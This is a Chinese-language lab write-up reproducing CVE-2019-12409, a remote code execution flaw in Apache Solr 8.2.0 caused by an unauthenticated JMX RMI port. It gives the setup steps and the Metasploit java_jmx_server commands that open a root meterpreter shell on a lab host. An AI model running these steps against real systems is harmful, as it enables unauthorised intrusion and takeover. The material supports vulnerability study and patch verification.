CVE-2019-12409 Apache Solr RCE 漏洞复现利用
环境
靶机:ubuntu18.04
被攻击环境:Solr 8.2.0
攻击机:Kali Linux
攻击软件:metasploit framework
背景介绍
Apache Solr 是一个开源的搜索服务器,使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
漏洞成因
默认的配置文件solr.in.sh的选项ENABLE_REMOTE_JMX_OPTS字段值被设置为”true”,这会启用JMX监视服务并会在公网中监听一个18983的RMI端口,没有任何认证,也就是说在无需身份验证情况下,攻击者结合使用JMX RMI就会造成远程代码攻击。
在开放的端口上,利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean,就可以造成远程代码执行了。 远端的恶意MBean来自于metasploit提供的exploit/multi/misc/java_jmx_server,具体的payload攻击载荷是meterpreter。
复现与利用过程
安装环境
影响版本是Apache Solr的8.1.1和8.2.0,目前官网这两个版本已经不直接提供了。8.2.0的下载地址是:http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip, 其他版本也可以通过修改URL的办法来查询。
下载:
wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
启动一个solr的样例服务(需要root权限):
unzip solr-8.2.0.zip
cd solr-8.2.0/bin
./solr -e dih -force
metasploit直接使用kali里的。
漏洞利用
在kali上使用 msfconsole
命令进入,执行以下命令。
use exploit/multi/misc/java_jmx_server
show options
set RHOSTS 192.168.108.156
set RPORT 18983
run
接下来等待进入meterpreter的shell,就说明已经成功登陆并渗透了。
通过getuid命令我们可以看到当前获取到的是root权限。